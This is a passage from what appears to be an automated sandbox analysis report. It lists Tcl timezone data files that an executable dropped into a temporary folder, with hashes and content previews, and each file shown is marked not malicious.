-14400 0 -04}. {562132800 -10800 1 -04}. {571201200 -14400 0 -04}. {590036400

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Puerto_Rico

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	273
Entropy (8bit):	4.728240676465187
Encrypted:	false
SSDEEP:	6:SlSWB9X5290pbm2OH9VPMGoeVVFrZVVFUFkeF3k/eJpR/r:MBp5290lmdHvPMpe/ZZ/uFkeF3k/eJ/D
MD5:	2FB893819124F19A7068F802D6A59357
SHA1:	6B35C198F74FF5880714A3182407858193CE37A4
SHA-256:	F05530CFBCE7242847BE265C2D26C8B95B00D927817B050A523FFB139991B09E
SHA-512:	80739F431F6B3548EFD4F70FE3630F66F70CB29B66845B8072D26393ADD7DAB22675BE6DA5FBDC7561D4F3F214816AAD778B6CD0EE45264B4D6FFA48B3AC7C43
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Puerto_Rico) {. {-9223372036854775808 -15865 0 LMT}. {-2233035335 -14400 0 AST}. {-873057600 -10800 0 AWT}. {-769395600 -10800 1 APT}. {-765399600 -14400 0 AST}. {-757368000 -14400 0 AST}.}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Punta_Arenas

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3576
Entropy (8bit):	3.5316229197228632
Encrypted:	false
SSDEEP:	96:Yv9+P8pYraRo+kP0pDrMb6UHlRnHqhTxxJAHXEa9c0yq/g2tw5E8fIk5iWpOFZAd:YoP8pYraRo+kP0pDrMb60RnHqhTxxJAw
MD5:	1FFFED9AA83AA3CA9E7330AA27E8D188
SHA1:	9B45F2662C1F3F0799ED4221E843483674878F43
SHA-256:	FECDC08709D5852A07D8F5C7DD7DBDBCD3D864A0893248E3D3932A2F848EB4B2
SHA-512:	8F6D51F94A91168EE092972316E150C2B487808EA3506F77FD028F84436FE29AD5BAD50A8DB65BCFB524D5A12DC1C66C5C0BC9A7FC6AE8A0EAAED6F4BA5ADED7
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Punta_Arenas) {. {-9223372036854775808 -17020 0 LMT}. {-2524504580 -16966 0 SMT}. {-1892661434 -18000 0 -05}. {-1688410800 -16966 0 SMT}. {-1619205434 -14400 0 -04}. {-1593806400 -16966 0 SMT}. {-1335986234 -18000 0 -05}. {-1335985200 -14400 1 -05}. {-1317585600 -18000 0 -05}. {-1304362800 -14400 1 -05}. {-1286049600 -18000 0 -05}. {-1272826800 -14400 1 -05}. {-1254513600 -18000 0 -05}. {-1241290800 -14400 1 -05}. {-1222977600 -18000 0 -05}. {-1209754800 -14400 1 -05}. {-1191355200 -18000 0 -05}. {-1178132400 -14400 0 -04}. {-870552000 -18000 0 -05}. {-865278000 -14400 0 -04}. {-718056000 -18000 0 -05}. {-713649600 -14400 0 -04}. {-36619200 -10800 1 -04}. {-23922000 -14400 0 -04}. {-3355200 -10800 1 -04}. {7527600 -14400 0 -04}. {24465600 -10800 1 -04}. {37767600 -14400 0 -04}. {55915200 -10800 1 -04}. {69217200 -14400 0 -04}. {87

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Rainy_River

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7840
Entropy (8bit):	3.75014960690837
Encrypted:	false
SSDEEP:	192:k+iBktTzZSJw5/9/yuvQ+hcrD57X0N41+IestuNEbYkzbXwDTIRqfhXbdXvDXpVS:k+iBmTzZSJw5/9/yuvQ6crD57X0N41+a
MD5:	9C10496730E961187C33C1AE91C8A60D
SHA1:	A77E3508859FB6F76A7445CD13CD42348CB4EBC7
SHA-256:	136F0A49742F30B05B7C6BF3BF014CC999104F4957715D0BEB39F5440D5216DF
SHA-512:	70936E65D0B439F6BE6E31E27032F10BA2EB54672647DA615744ABC7A767F197F0C7FDBCCEE0D335CBCECB6855B7BD899D1A5B97BA5083FFA42AF5F30343EA7F
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Rainy_River) {. {-9223372036854775808 -22696 0 LMT}. {-2366732504 -21600 0 CST}. {-1632067200 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-923248800 -18000 1 CDT}. {-880214400 -18000 0 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {136368000 -18000 1 CDT}. {152089200 -21600 0 CST}. {167817600 -18000 1 CDT}. {183538800 -21600 0 CST}. {199267200 -18000 1 CDT}. {215593200 -21600 0 CST}. {230716800 -18000 1 CDT}. {247042800 -21600 0 CST}. {262771200 -18000 1 CDT}. {278492400 -21600 0 CST}. {294220800 -18000 1 CDT}. {309942000 -21600 0 CST}. {325670400 -18000 1 CDT}. {341391600 -21600 0 CST}. {357120000 -18000 1 CDT}. {372841200 -21600 0 CST}. {388569600 -18000 1 CDT}. {404895600 -21600 0 CST}. {420019200 -18000 1 CDT}. {436345200 -21600 0 CST}. {452073600 -18000 1 CDT}. {467794800 -21600 0 CST}. {483523200 -18000 1 CDT}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Rankin_Inlet

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7366
Entropy (8bit):	3.749928775816306
Encrypted:	false
SSDEEP:	192:vw5/9/yuvQ+hcrD57X0N41+IstuNEbYkzbXwDTIRqfhXbdXvDXpVXVto//q7u37N:vw5/9/yuvQ6crD57X0N41+IstuNEbYkJ
MD5:	54F6D5098A0CF940F066EADEEA234A57
SHA1:	20B9FE5F6F70E97420A6D9939AA43C4CCFA8231B
SHA-256:	AA68088E41A018002E5CE12B14F8910E5ECE5F26D5854092E351BAAC2F90DB2B
SHA-512:	9EC1AF599604CEE266D9A4377B6CDABF94E61D0177CBC2158122406BF551AE0E3EE4CF147B28A382277B015CCB8F4405DB3EB3AE6425431EBB43CCDE08AEA3E1
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Rankin_Inlet) {. {-9223372036854775808 0 0 -00}. {-410227200 -21600 0 CST}. {-147895200 -14400 1 CDDT}. {-131565600 -21600 0 CST}. {325670400 -18000 1 CDT}. {341391600 -21600 0 CST}. {357120000 -18000 1 CDT}. {372841200 -21600 0 CST}. {388569600 -18000 1 CDT}. {404895600 -21600 0 CST}. {420019200 -18000 1 CDT}. {436345200 -21600 0 CST}. {452073600 -18000 1 CDT}. {467794800 -21600 0 CST}. {483523200 -18000 1 CDT}. {499244400 -21600 0 CST}. {514972800 -18000 1 CDT}. {530694000 -21600 0 CST}. {544608000 -18000 1 CDT}. {562143600 -21600 0 CST}. {576057600 -18000 1 CDT}. {594198000 -21600 0 CST}. {607507200 -18000 1 CDT}. {625647600 -21600 0 CST}. {638956800 -18000 1 CDT}. {657097200 -21600 0 CST}. {671011200 -18000 1 CDT}. {688546800 -21600 0 CST}. {702460800 -18000 1 CDT}. {719996400 -21600 0 CST}. {733910400 -18000 1 CDT}. {75205

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Recife

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	3.6943875149362064
Encrypted:	false
SSDEEP:	24:cQHJeHQc4h1u80V2dBUGphmC17ewGtN3rvIh0VBHZDIykqWoN:5Kh4h19U2dBUGrmO7XGtN3kh0VBHZUnk
MD5:	1567A3F3419D1A4FCF817A6EDC11769E
SHA1:	2970F9EDD76B77A843D31F518587C17A05EC4C43
SHA-256:	3F62246DF3A378815772D9D942033FB235B048B62F5EF52A3DCD6DB3871E0DB5
SHA-512:	567BEAC48AE0FEEB32FE40EEA73EB4601DBDBF72FA963777E5F5C3E9972E2AD7A359301E80E574592AFB3045414A177D0ABD38DF958BD5317B02D4DFD2DCE607
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Recife) {. {-9223372036854775808 -8376 0 LMT}. {-1767217224 -10800 0 -03}. {-1206957600 -7200 1 -03}. {-1191362400 -10800 0 -03}. {-1175374800 -7200 1 -03}. {-1159826400 -10800 0 -03}. {-633819600 -7200 1 -03}. {-622069200 -10800 0 -03}. {-602283600 -7200 1 -03}. {-591832800 -10800 0 -03}. {-570747600 -7200 1 -03}. {-560210400 -10800 0 -03}. {-539125200 -7200 1 -03}. {-531352800 -10800 0 -03}. {-191365200 -7200 1 -03}. {-184197600 -10800 0 -03}. {-155163600 -7200 1 -03}. {-150069600 -10800 0 -03}. {-128898000 -7200 1 -03}. {-121125600 -10800 0 -03}. {-99954000 -7200 1 -03}. {-89589600 -10800 0 -03}. {-68418000 -7200 1 -03}. {-57967200 -10800 0 -03}. {499748400 -7200 1 -03}. {511236000 -10800 0 -03}. {530593200 -7200 1 -03}. {540266400 -10800 0 -03}. {562129200 -7200 1 -03}. {571197600 -10800 0 -03}. {592974000 -7200 1 -03}. {60

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Regina

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	3.956012642028802
Encrypted:	false
SSDEEP:	48:56ecDOBDgE+hIZVEa3lGw+6yZgTX+rNO46wYDW:86VlGS8
MD5:	7D955B277C43D51F19377A91B987FAF9
SHA1:	F2F3E11E955C3E58E21654F3D841B5B1528C0913
SHA-256:	A1FA7BF002B3BA8DCA4D52AA0BB41C047DDAF88B2E542E1FCF81CB3AAF91AA75
SHA-512:	719DEE7A932EDB9255D711E82AC0CA3FCFB07AF3EFE2EE0D887D7137F6059BEBE07F85D910CC0005391D244B4EADA16257BE49787938386FD4B5DB6D8E31D513
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Regina) {. {-9223372036854775808 -25116 0 LMT}. {-2030202084 -25200 0 MST}. {-1632063600 -21600 1 MDT}. {-1615132800 -25200 0 MST}. {-1251651600 -21600 1 MDT}. {-1238349600 -25200 0 MST}. {-1220202000 -21600 1 MDT}. {-1206900000 -25200 0 MST}. {-1188752400 -21600 1 MDT}. {-1175450400 -25200 0 MST}. {-1156698000 -21600 1 MDT}. {-1144000800 -25200 0 MST}. {-1125248400 -21600 1 MDT}. {-1111946400 -25200 0 MST}. {-1032714000 -21600 1 MDT}. {-1016992800 -25200 0 MST}. {-1001264400 -21600 1 MDT}. {-986148000 -25200 0 MST}. {-969814800 -21600 1 MDT}. {-954093600 -25200 0 MST}. {-937760400 -21600 1 MDT}. {-922039200 -25200 0 MST}. {-906310800 -21600 1 MDT}. {-890589600 -25200 0 MST}. {-880210800 -21600 1 MWT}. {-769395600 -21600 1 MPT}. {-765388800 -25200 0 MST}. {-748450800 -21600 1 MDT}. {-732729600 -25200 0 MST}. {-715791600 -21600 1 MDT}

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Resolute

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7362
Entropy (8bit):	3.7460671071064846
Encrypted:	false
SSDEEP:	192:iw5/9/yuvQ+hcrD57X0N41+IstuNESkzbXwDTIRqfhXbdXvDXpVXVto//q7u379L:iw5/9/yuvQ6crD57X0N41+IstuNESkzV
MD5:	07FFF43B350D520D13D91701618AD72E
SHA1:	8D4B36A6D3257509C209D0B78B58982709FB8807
SHA-256:	39E13235F87A1B8621ADA62C9AD2EBF8E17687C5533658E075EFA70A04D5C78D
SHA-512:	37397A2621F0A1EA6B46F6769D583CAEA9703924A2C652B8B58FA4C7DBA8E789BA8FE442FB2C77504E495617591FB138AD733063E3A4A0153ED2B26D4B863018
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Resolute) {. {-9223372036854775808 0 0 -00}. {-704937600 -21600 0 CST}. {-147895200 -14400 1 CDDT}. {-131565600 -21600 0 CST}. {325670400 -18000 1 CDT}. {341391600 -21600 0 CST}. {357120000 -18000 1 CDT}. {372841200 -21600 0 CST}. {388569600 -18000 1 CDT}. {404895600 -21600 0 CST}. {420019200 -18000 1 CDT}. {436345200 -21600 0 CST}. {452073600 -18000 1 CDT}. {467794800 -21600 0 CST}. {483523200 -18000 1 CDT}. {499244400 -21600 0 CST}. {514972800 -18000 1 CDT}. {530694000 -21600 0 CST}. {544608000 -18000 1 CDT}. {562143600 -21600 0 CST}. {576057600 -18000 1 CDT}. {594198000 -21600 0 CST}. {607507200 -18000 1 CDT}. {625647600 -21600 0 CST}. {638956800 -18000 1 CDT}. {657097200 -21600 0 CST}. {671011200 -18000 1 CDT}. {688546800 -21600 0 CST}. {702460800 -18000 1 CDT}. {719996400 -21600 0 CST}. {733910400 -18000 1 CDT}. {752050800

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Rio_Branco

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1075
Entropy (8bit):	3.7557219407321303
Encrypted:	false
SSDEEP:	24:cQYEeH5yyss/u/C5/ukCI/uiCk/u8CHe/uOCXs/um4Co/uN3Cc/ux8CL/uiFCy/i:5q5xs5IlTToo4mdGFtapG8dtedkFL
MD5:	9AA66AEB91380EFD3313338A2DCBE432
SHA1:	2D86915D1F331CC7050BBFAAE3315CE1440813C1
SHA-256:	53DB45CF4CB369DA06C31478A793E787541DA0E77C042EBC7A10175A6BB6EFF6
SHA-512:	C9B4F6544B4A1E77BFF6D423A9AD5E003E32FA77B00ECC2A7AF6D2279ACC849ABE331E5DE27C450A6BF86ECC2450CEBFAB4880AB69C54649D4C7EE0AF05CD377
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Rio_Branco) {. {-9223372036854775808 -16272 0 LMT}. {-1767209328 -18000 0 -05}. {-1206950400 -14400 1 -05}. {-1191355200 -18000 0 -05}. {-1175367600 -14400 1 -05}. {-1159819200 -18000 0 -05}. {-633812400 -14400 1 -05}. {-622062000 -18000 0 -05}. {-602276400 -14400 1 -05}. {-591825600 -18000 0 -05}. {-570740400 -14400 1 -05}. {-560203200 -18000 0 -05}. {-539118000 -14400 1 -05}. {-531345600 -18000 0 -05}. {-191358000 -14400 1 -05}. {-184190400 -18000 0 -05}. {-155156400 -14400 1 -05}. {-150062400 -18000 0 -05}. {-128890800 -14400 1 -05}. {-121118400 -18000 0 -05}. {-99946800 -14400 1 -05}. {-89582400 -18000 0 -05}. {-68410800 -14400 1 -05}. {-57960000 -18000 0 -05}. {499755600 -14400 1 -05}. {511243200 -18000 0 -05}. {530600400 -14400 1 -05}. {540273600 -18000 0 -05}. {562136400 -14400 1 -05}. {571204800 -18000 0 -05}. {590040000 -

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Rosario

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	214
Entropy (8bit):	4.752946571641783
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7/MdVAIgp/MOF290rI5290/Msn:MBaIMY/M4p/MOF290r190/Ms
MD5:	4FC460A084DF33A73F2F87B7962B0084
SHA1:	45E70D5D68FC2DE0ACFF76B062ADA17E0021460F
SHA-256:	D1F5FFD2574A009474230E0AA764256B039B1D78D91A1CB944B21776377B5B70
SHA-512:	40045420FE88FA54DE4A656534C0A51357FBAB3EA3B9120DA15526A9DEC7EEC2C9799F4D9A72B6050474AD67490BC28540FDA0F17B7FCAF125D41CBCA96ECCDE
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Argentina/Cordoba)]} {. LoadTimeZoneFile America/Argentina/Cordoba.}.set TZData(:America/Rosario) $TZData(:America/Argentina/Cordoba).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Santa_Isabel

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	189
Entropy (8bit):	4.820569634622523
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0qfSwVAIg20qfo2IAcGEtX2exp4IAcGEqfu:SlSWB9IZaM3y7eHVAIgpeo290tX2U49Q
MD5:	75EA3845AFED3FBBF8496824A353DA32
SHA1:	207A1520F041B09CCD5034E6E87D3F7A4FBD460E
SHA-256:	2FACC167377FC1F592D2926829EB2980F58BE38D50424F64DFA04A2ECBBE1559
SHA-512:	B9D4DB95CEA1DADCE27264BBD198676465854E9C55D6BB175966D860D9AF7014F6635A945510602C0A9FBF08596B064DAE7D30589886960F06B2F8E69786CFF6
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Tijuana)]} {. LoadTimeZoneFile America/Tijuana.}.set TZData(:America/Santa_Isabel) $TZData(:America/Tijuana).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Santarem

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1043
Entropy (8bit):	3.7336343389566795
Encrypted:	false
SSDEEP:	24:cQceUh8Sos/USws/QSI/LHSD/vOSy/WS3o/aS2/vSh/TSSX/WcSp/ySZd/YlSj/X:57SaSwXS4SqSbS3JSySxSxcSESAlSQSn
MD5:	8F5EAA4F5099B82EDD68893C5D99A0EF
SHA1:	1B21DAD0CD54E083A6EADCFD57CA8F58759189AD
SHA-256:	1A46357BC4FE682AF78FFAB10A6A88893BEF50AECC6ACA217A5EBC1B98C01C07
SHA-512:	2C82822CCA208E900383A1B55882BFC3559EC116C5B5AD2452BA367594AEF36F34C316FFA18B2BAB71A82FC382559069385947548EE9902FEDCDED084801ABF2
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Santarem) {. {-9223372036854775808 -13128 0 LMT}. {-1767212472 -14400 0 -04}. {-1206954000 -10800 1 -04}. {-1191358800 -14400 0 -04}. {-1175371200 -10800 1 -04}. {-1159822800 -14400 0 -04}. {-633816000 -10800 1 -04}. {-622065600 -14400 0 -04}. {-602280000 -10800 1 -04}. {-591829200 -14400 0 -04}. {-570744000 -10800 1 -04}. {-560206800 -14400 0 -04}. {-539121600 -10800 1 -04}. {-531349200 -14400 0 -04}. {-191361600 -10800 1 -04}. {-184194000 -14400 0 -04}. {-155160000 -10800 1 -04}. {-150066000 -14400 0 -04}. {-128894400 -10800 1 -04}. {-121122000 -14400 0 -04}. {-99950400 -10800 1 -04}. {-89586000 -14400 0 -04}. {-68414400 -10800 1 -04}. {-57963600 -14400 0 -04}. {499752000 -10800 1 -04}. {511239600 -14400 0 -04}. {530596800 -10800 1 -04}. {540270000 -14400 0 -04}. {562132800 -10800 1 -04}. {571201200 -14400 0 -04}. {590036400 -14

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Santiago

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8582
Entropy (8bit):	3.4381885094053835
Encrypted:	false
SSDEEP:	192:LCA/E8pYraRo+kP0pDrMb60RnHqhTxxJA3Ea9c0yq/g2tw5E8Q+iWMFeHpkUu9/6:LRNBnrR59bPYUt
MD5:	47BED3B60EF45B00267B4D628A2F18C4
SHA1:	B3827DF571CF2CA16074188CE0E3061E296B8B26
SHA-256:	51BB12A2397CAD3D412C9E8F3BA06DD98CC379F999DB3D00ED651A84DA1D6D1C
SHA-512:	8DA831A0EAB180C982395F2BA85952959A676AADA87823E56C5B643FEB7082B6605FD3645D880B19F3F9EE5B25353002309CDB37AE68F1B3A192AE1280B74404
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Santiago) {. {-9223372036854775808 -16966 0 LMT}. {-2524504634 -16966 0 SMT}. {-1892661434 -18000 0 -05}. {-1688410800 -16966 0 SMT}. {-1619205434 -14400 0 -04}. {-1593806400 -16966 0 SMT}. {-1335986234 -18000 0 -05}. {-1335985200 -14400 1 -05}. {-1317585600 -18000 0 -05}. {-1304362800 -14400 1 -05}. {-1286049600 -18000 0 -05}. {-1272826800 -14400 1 -05}. {-1254513600 -18000 0 -05}. {-1241290800 -14400 1 -05}. {-1222977600 -18000 0 -05}. {-1209754800 -14400 1 -05}. {-1191355200 -18000 0 -05}. {-1178132400 -14400 0 -04}. {-870552000 -18000 0 -05}. {-865278000 -14400 0 -04}. {-740520000 -10800 1 -03}. {-736376400 -14400 0 -04}. {-718056000 -18000 0 -05}. {-713649600 -14400 0 -04}. {-36619200 -10800 1 -04}. {-23922000 -14400 0 -04}. {-3355200 -10800 1 -04}. {7527600 -14400 0 -04}. {24465600 -10800 1 -04}. {37767600 -14400 0 -04}. {55

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Santo_Domingo

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	595
Entropy (8bit):	4.2614212422453726
Encrypted:	false
SSDEEP:	12:MBp5290/SyJmdHhvPu4/G/uFNM/KMVvMj/+MVvMqx/r0XVvMnUB/B7VvMa6I8/0p:cQ+DJeVu4e/uICEkFvxwdqUBZp965VPO
MD5:	04F2A2C789E041270354376C3FD90D2D
SHA1:	D0B89262D559021FAC035A519C96D2A2FA417F9C
SHA-256:	42EF317EA851A781B041DC1951EA5A3EA1E924149C4B868ECD75F24672B28FA8
SHA-512:	F8D072527ED38C2FF1C9E08219104213352B2EFA1171C0D1E02B6B1542B4929D0C4640B441326791CC86F23206621CD4E0D3247CBAB1F99B63E65DB667F3DFED
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Santo_Domingo) {. {-9223372036854775808 -16776 0 LMT}. {-2524504824 -16800 0 SDMT}. {-1159773600 -18000 0 EST}. {-100119600 -14400 1 EDT}. {-89668800 -18000 0 EST}. {-5770800 -16200 1 -0430}. {4422600 -18000 0 EST}. {25678800 -16200 1 -0430}. {33193800 -18000 0 EST}. {57733200 -16200 1 -0430}. {64816200 -18000 0 EST}. {89182800 -16200 1 -0430}. {96438600 -18000 0 EST}. {120632400 -16200 1 -0430}. {127974600 -18000 0 EST}. {152082000 -14400 0 AST}. {975823200 -14400 0 AST}.}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Sao_Paulo

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7552
Entropy (8bit):	3.4588792656032914
Encrypted:	false
SSDEEP:	192:Lam19U2gUGrpzsVE0OjmicnyVkHZWWWE/+ZqPuWcBpR4xHtMlAbGCoGzvGmFGgh4:L3Yc8u9U
MD5:	DEA27A3FE65A22BE42A97C6AB58E9687
SHA1:	CD50184C4D1739CF5568E21683980FC63C9BFF24
SHA-256:	AFA706258270F20F9317FF5B84957A2DF77842D564922C15DC302F7A8AB59CEC
SHA-512:	34C306EC889C10988B3D9C236903417BCA1590E96CD60AE700882C064CCC410132265F106BB10D9593AFFA32B923728FBDDFB6DEE77CAF4A058C877F4D5F1EF1
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Sao_Paulo) {. {-9223372036854775808 -11188 0 LMT}. {-1767214412 -10800 0 -03}. {-1206957600 -7200 1 -03}. {-1191362400 -10800 0 -03}. {-1175374800 -7200 1 -03}. {-1159826400 -10800 0 -03}. {-633819600 -7200 1 -03}. {-622069200 -10800 0 -03}. {-602283600 -7200 1 -03}. {-591832800 -10800 0 -03}. {-570747600 -7200 1 -03}. {-560210400 -10800 0 -03}. {-539125200 -7200 1 -03}. {-531352800 -10800 0 -03}. {-195429600 -7200 1 -02}. {-189381600 -7200 0 -03}. {-184197600 -10800 0 -03}. {-155163600 -7200 1 -03}. {-150069600 -10800 0 -03}. {-128898000 -7200 1 -03}. {-121125600 -10800 0 -03}. {-99954000 -7200 1 -03}. {-89589600 -10800 0 -03}. {-68418000 -7200 1 -03}. {-57967200 -10800 0 -03}. {499748400 -7200 1 -03}. {511236000 -10800 0 -03}. {530593200 -7200 1 -03}. {540266400 -10800 0 -03}. {562129200 -7200 1 -03}. {571197600 -10800 0 -03}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Scoresbysund

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6593
Entropy (8bit):	3.4670685654529194
Encrypted:	false
SSDEEP:	96:URW/ukG9UDHaXZgsP/N/LWAWVF20V/VapcJlNcnkF0:BuZUDHaXZgsN/FWVFjHv0
MD5:	7E7EF4D67CCD455833603F7EF9E374A6
SHA1:	4AD722F75FC88572DD5A2CD1845FF5F68ED4B58A
SHA-256:	2B5B2A00793545C8D32437D7DAA2A36B42D3B1B7421054621841E2919F713294
SHA-512:	0688EB3EBDE78E18EE5E31DE57F1CBE0BF10071A6EDC97D284B2B3E1E22975262190934446C202E90EFD161686F4790342EDDBCACADB3A65B0AC6C1A9099C79F
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Scoresbysund) {. {-9223372036854775808 -5272 0 LMT}. {-1686090728 -7200 0 -02}. {323841600 -3600 0 -01}. {338961600 -7200 0 -02}. {354679200 0 0 +00}. {370400400 -3600 0 -01}. {386125200 0 1 +00}. {401850000 -3600 0 -01}. {417574800 0 1 +00}. {433299600 -3600 0 -01}. {449024400 0 1 +00}. {465354000 -3600 0 -01}. {481078800 0 1 +00}. {496803600 -3600 0 -01}. {512528400 0 1 +00}. {528253200 -3600 0 -01}. {543978000 0 1 +00}. {559702800 -3600 0 -01}. {575427600 0 1 +00}. {591152400 -3600 0 -01}. {606877200 0 1 +00}. {622602000 -3600 0 -01}. {638326800 0 1 +00}. {654656400 -3600 0 -01}. {670381200 0 1 +00}. {686106000 -3600 0 -01}. {701830800 0 1 +00}. {717555600 -3600 0 -01}. {733280400 0 1 +00}. {749005200 -3600 0 -01}. {764730000 0 1 +00}. {780454800 -3600 0 -01}. {796179600 0 1 +00}. {811904400 -3600 0 -01}. {828234000

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Shiprock

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.840231755053259
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx06RGFwVAIg206RAO0L2IAcGEtOFBx+IAcGE6Ru:SlSWB9IZaM3y7+SwVAIgp+iL290tO09G
MD5:	65307038DB12A7A447284DF4F3E6A3E8
SHA1:	DC28D6863986D7A158CEF239D46BE9F5033DF897
SHA-256:	3FD862C9DB2D5941DFDBA5622CC53487A7FC5039F7012B78D3EE4B58753D078D
SHA-512:	91BC29B7EC9C49D4020DC26F682D0EFBBBEE83D10D79C766A08C78D5FF04D9C0A09288D9696A378E777B65E0C2C2AC8A218C12F86C45BD6E7B5E204AE5FC2335
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Denver)]} {. LoadTimeZoneFile America/Denver.}.set TZData(:America/Shiprock) $TZData(:America/Denver).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\Sitka

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8376
Entropy (8bit):	3.8793735356495116
Encrypted:	false
SSDEEP:	96:lG19jJps/Q7Ddh5sBPyNsSLFOMM/EowALVZVmWa86Eac8rQ:lM9jI/4h5sBPy+CMt/ElALLVuAH
MD5:	2F2C91BD29B32A281F9FB1F811953ACB
SHA1:	49102C37397CC9B7CDCDCE6A76F9BE03D0B446AB
SHA-256:	6ABBF55FEE7839B9EEEBB97EA53E185E1A0E189843531257708258841A35EB76
SHA-512:	FB06D4FE28BD9DD9D56A7365F1E2CC7434678B8850CECF99A232F07B4B720F092980EC337C279E599A12E54548DE6AC253547FE4C255BEFA7B545F8C93375589
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Sitka) {. {-9223372036854775808 53927 0 LMT}. {-3225223727 -32473 0 LMT}. {-2188954727 -28800 0 PST}. {-883584000 -28800 0 PST}. {-880207200 -25200 1 PWT}. {-769395600 -25200 1 PPT}. {-765385200 -28800 0 PST}. {-757353600 -28800 0 PST}. {-31507200 -28800 0 PST}. {-21477600 -25200 1 PDT}. {-5756400 -28800 0 PST}. {9972000 -25200 1 PDT}. {25693200 -28800 0 PST}. {41421600 -25200 1 PDT}. {57747600 -28800 0 PST}. {73476000 -25200 1 PDT}. {89197200 -28800 0 PST}. {104925600 -25200 1 PDT}. {120646800 -28800 0 PST}. {126698400 -25200 1 PDT}. {152096400 -28800 0 PST}. {162381600 -25200 1 PDT}. {183546000 -28800 0 PST}. {199274400 -25200 1 PDT}. {215600400 -28800 0 PST}. {230724000 -25200 1 PDT}. {247050000 -28800 0 PST}. {262778400 -25200 1 PDT}. {278499600 -28800 0 PST}. {294228000 -25200 1 PDT}. {309949200 -28800 0 PST}. {325677600 -

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\America\St_Barthelemy

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	208
Entropy (8bit):	4.905980413237828
Encrypted:	false
